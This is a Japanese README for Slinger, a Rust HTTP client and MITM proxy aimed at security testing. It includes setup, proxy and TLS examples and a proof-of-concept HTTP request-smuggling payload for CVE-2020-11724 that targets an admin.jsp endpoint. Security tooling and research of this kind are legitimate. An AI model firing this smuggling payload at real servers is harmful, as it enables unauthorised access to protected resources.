
セキュリティ研究者向けに特化して開発されたHTTPクライアント

Slinger は以下を含むワークスペースです:
ハッカー向けに設計された Rust 用の中核 HTTP クライアントライブラリ。
Burp Suite に似た、透過的な HTTPS トラフィック傍受を備えた中間者 (MITM) プロキシ。
(トップへ戻る)
この例ではいくつかのオプション機能を有効にしているため、Cargo.toml は次のようになります:
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
そして、コードは次のようになります:
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get").await?;
println!("{:?}", resp.text());
Ok(())
}
Cargo.toml に追加します:
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }
コード例:
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let config = MitmConfig::default();
let proxy = MitmProxy::new(config).await?;
// Add logging interceptor
let handler = proxy.interceptor_handler();
let mut h = handler.write().await;
h.add_request_interceptor(Arc::new(Interceptor::logging()));
drop(h);
proxy.start("127.0.0.1:8080").await?;
Ok(())
}
MITM プロキシの使用方法の詳細は、slinger-mitm/README.md を参照してください。
Slinger は以下のオプション機能をサポートしています:
tls - 基本 TLS 機能 (特定のバックエンドなしで TLS 型とインターフェースを有効にします)rustls - Rustls を使用した HTTPS サポート (tls が必要、純粋な Rust 実装)http2 - HTTP/2 プロトコルサポート (TLS バックエンドが必要)cookie - Cookie 処理サポートcharset - 文字エンコーディングサポートserde - シリアライズ/デシリアライズサポートgzip - Gzip 圧縮サポートschema - JSON Schema サポートTLS を使用するには、次のことを行う必要があります:
tls 機能を有効にするrustls バックエンドを選択するか、カスタム TLS コネクタを提供する機能の組み合わせ例:
# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }
# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }
native-tls、OpenSSL、またはその他の TLS ライブラリを使用したい場合は、カスタム TLS コネクタを実装できます。 native-tls を統合する完全な例については、native_tls_example.rs を参照してください。
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::default().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
より多くの例については、サンプル を参照してください。
(トップへ戻る)
コントリビューションは、オープンソースコミュニティを学び、刺激し、創造するための素晴らしい場所にしているものです。どんなコントリビューションも大いに感謝されます。
これをより良くする提案があれば、リポジトリをフォークしてプルリクエストを作成してください。「enhancement」タグを付けてイシューを開くだけでも構いません。 プロジェクトにスターを付けるのを忘れないでください! ありがとうございます!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)(トップへ戻る)
GPL-3.0-only ライセンスの下で配布されています。詳細は LICENSE を参照してください。
(トップへ戻る)
あなたの名前 - @Kali_Team - [email protected]
プロジェクトリンク: https://github.com/emo-crab/slinger
(トップへ戻る)
(トップへ戻る)